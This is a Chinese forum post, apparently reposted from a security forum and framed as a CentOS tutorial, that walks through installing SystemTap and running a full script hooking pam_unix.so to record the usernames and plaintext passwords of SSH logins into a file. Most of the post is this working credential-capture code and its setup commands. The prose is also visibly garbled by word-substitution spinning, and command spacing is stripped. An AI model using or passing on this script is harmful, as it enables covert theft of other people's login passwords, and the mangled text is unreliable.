|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
如果您觉得本篇CentOSLinux教程讲得好,请记得点击右边漂浮的分享程序,把好文章分享给你的小伙伴们!systemtap是一款十分壮大内核调试工具,能够debug良多关于kernel层的成绩。Linux是经由过程PAM模块检测用户信息和认证信息的,从而断定一个用户是不是能够登录体系,使用这个常识点,利用systemtap捕捉一下pam_unix.so该静态库文件的函数挪用,取得用户在ssh近程登录时的用户名和暗码吧。
测试情况:CentOS6.432bit
内核版本:2.6.32-358.el6.i686
起首装置以下rpm包
yum--releasever=6.4update
yuminstall-ysystemtap
debuginfo-install$(rpm-qf/lib/security/pam_unix.so)
创立文件,写进以下代码
touch/root/capture_pass.stp
·#!/usr/bin/stap
·globalusername,pass,isSuccRet=1;
·probeprocess("/lib/security/pam_unix.so").function("_unix_verify_password")
·{
·username=user_string($name);
·pass=user_string($p);
·}
·probeprocess("/lib/security/pam_unix.so").function("_unix_verify_password").return
·{
·if($return==0)
·{
·printf("User:%s
Password:%s
",username,pass);
·isSuccRet=0;
·}
·}
·probeprocess("/lib/security/pam_unix.so").function("pam_sm_open_session")
·{
·if(isSuccRet!=0)
·{
·printf("Loginviasshservice.
User:%s
Password:%s
",username,pass);
·}
·isSuccRet=1;
·}
付与可实行权限
chmod+xcapture_pass.stp
创立一个纪录暗码的文件
touchpassword.txt
实行systemstap剧本
stapcapture_pass.stp-opassword.txt
当地实行capture_pass.stp剧本,同时ssh近程登录体系,即便第一次登录失利也没有成绩,不会纪录实验输出的毛病暗码。登录乐成后ctl+C停止剧本运转,检察password.txt,乐成捕捉。systemstap很壮大的利器,以是只要超户可使用。
来自:https://forum.90sec.org
如果您觉得本篇CentOSLinux教程讲得好,请记得点击右边漂浮的分享程序,把好文章分享给你的好朋友们! |
|